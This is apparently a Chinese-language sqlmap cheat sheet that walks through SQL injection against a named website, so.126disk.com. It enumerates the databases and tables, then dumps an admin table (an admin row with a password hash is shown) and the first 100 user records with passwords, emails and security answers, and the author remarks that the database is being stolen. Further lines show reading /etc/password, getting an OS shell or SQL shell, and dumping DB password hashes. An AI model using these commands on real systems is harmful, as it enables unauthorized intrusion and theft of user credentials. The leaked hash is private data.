sqlmap用法

#>  ./sqlmap.py -u "http://so.126disk.com/search?key=A" -v 1 --dbs

// 列举数据库 --> 126disk , information_schema

 

#> ./sqlmap.py -u "http://so.126disk.com/search?key=A" -v 1 --current-db

// 当前数据库 --> 126disk 

 

#>./sqlmap.py -u "http://so.126disk.com/search?key=A" -v 1 --users

// 列数据库用户

 

#>  ./sqlmap.py -u "http://so.126disk.com/search?key=A" -v 1 --current-user

// 当前用户 

#>  ./sqlmap.py -u "http://so.126disk.com/search?key=A" -v 1 --tables -D "126disk"

// 列举数据库126disk的表名

 

#> ./sqlmap.py -u "http://so.126disk.com/search?key=A" -v 1 --columns -T "disk_admin" -D "126disk"

 

// 获取表disk_admin的列名 

 

#>./sqlmap.py -u "http://so.126disk.com/search?key=A" -v 1 --dump -C "id,login,pass,user" -T "disk_admin" -D "126disk"
// 获取表disk_admin中的数据，包含列 id,login,pass,user   --> 1|9|admin|8e8df10cbce2ef46c3d25c3a5f7fe159

 

 

#>./sqlmap.py -u "http://so.126disk.com/search?key=A" -v 1 --dump -C "id,name,pass,email,wenti,daan" -T "disk_user" -D "126disk" --start 1 --stop 100

// 获取表disk_user的前100条数据，包含id,name,pass,email,wenti,daan；这里已经开始拖库了

 

python sqlmap.py -u "url" --file /etc/password  //读取文件

sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--os-shell #系统交互shell 

sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--sql-shell #执行指定sql命令

sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--passwords #数据库用户密码 

 

--cookie "id=1" cookie注入
-r post.txt -p tfUPass POST txt里的数据注入
--forms 搜索forms下的数据来注入
--data "a=1&b=1" 指定参数来注入

 

--os-shell获取后，会在相应目录下生成tmpuoiuz.php和tmpbxbxz.php